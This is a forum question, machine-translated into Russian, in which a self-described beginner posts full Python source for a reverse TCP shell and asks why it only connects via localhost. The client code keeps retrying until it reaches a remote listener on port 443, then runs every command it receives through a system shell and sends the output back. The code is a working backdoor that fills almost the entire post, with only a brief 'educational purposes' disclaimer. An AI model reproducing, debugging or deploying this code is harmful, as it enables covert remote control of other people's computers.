Оболочка обратного TCP не подключается, если для хоста клиента и сервера не задано значение localhost - PullRequest
0 голосов
/ 08 октября 2018

Код моего сервера:

import socket
import sys


# Create socket (allows two computers to connect)
def socket_create():
    try:
        global host
        global port
        global s
        host = ''
        port = 443
        s = socket.socket()
    except socket.error as msg:
        print("Socket creation error: " + str(msg))


# Bind socket to port (the host and port the communication will take place) and wait for connection from client
def socket_bind():
    try:
        global host
        global port
        global s
        print("Binding socket to port: " + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
        socket_bind()


# Establish connection with client (socket must be listening for them)
def socket_accept():
    conn, address = s.accept()
    print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
    client_response = str(conn.recv(1024), "utf-8")
    print(client_response + '> ', end='')
    send_commands(conn)
    conn.close()


# Send commands
def send_commands(conn):
    while True:
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), "utf-8")
            print(client_response, end='')



def main():
    socket_create()
    socket_bind()
    socket_accept()


main()

Код моего клиента:

import os
import socket
import subprocess
# Create a socket


def socket_create():
    try:
        global host
        global port
        global s
        host = '192.168.1.6'
        port = 443
        s = socket.socket()
    except socket.error as msg:
        print("Socket creation error: " + str(msg))


# Connect to a remote socket
def socket_connect():
    global host
    global port
    global s
    connected = False
    while not connected:
        try:
            s.connect((host, port))
            connected = True
        except Exception as e:
            pass
    wdir = str(os.getcwd())
    s.send(str.encode(wdir))


# Receive commands from remote server and run on local machine
def receive_commands():
    global s
    while True:
        data = s.recv(1024)
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode("utf-8"))
        if len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))
            print(output_str)


def main():
    socket_create()
    socket_connect()
    receive_commands()


main()

Я не уверен, почему, но моя оболочка будет подключаться, только если хост на обоих сценарияхустановить для localhost.Любой другой IP-адрес (локальный или внешний) не будет подключен.Когда я пытаюсь перенести мой маршрутизатор на внешний IP, он не подключается.Когда у меня есть ноутбук в той же сети, он все равно не подключается.Я проверил адреса, использовал несколько (локальных и внешних), изменил мой код, но ничего не работает.

Я новичок в программировании на Python, мне нужна помощь:)

Это для образовательных целей. КСТАТИ

...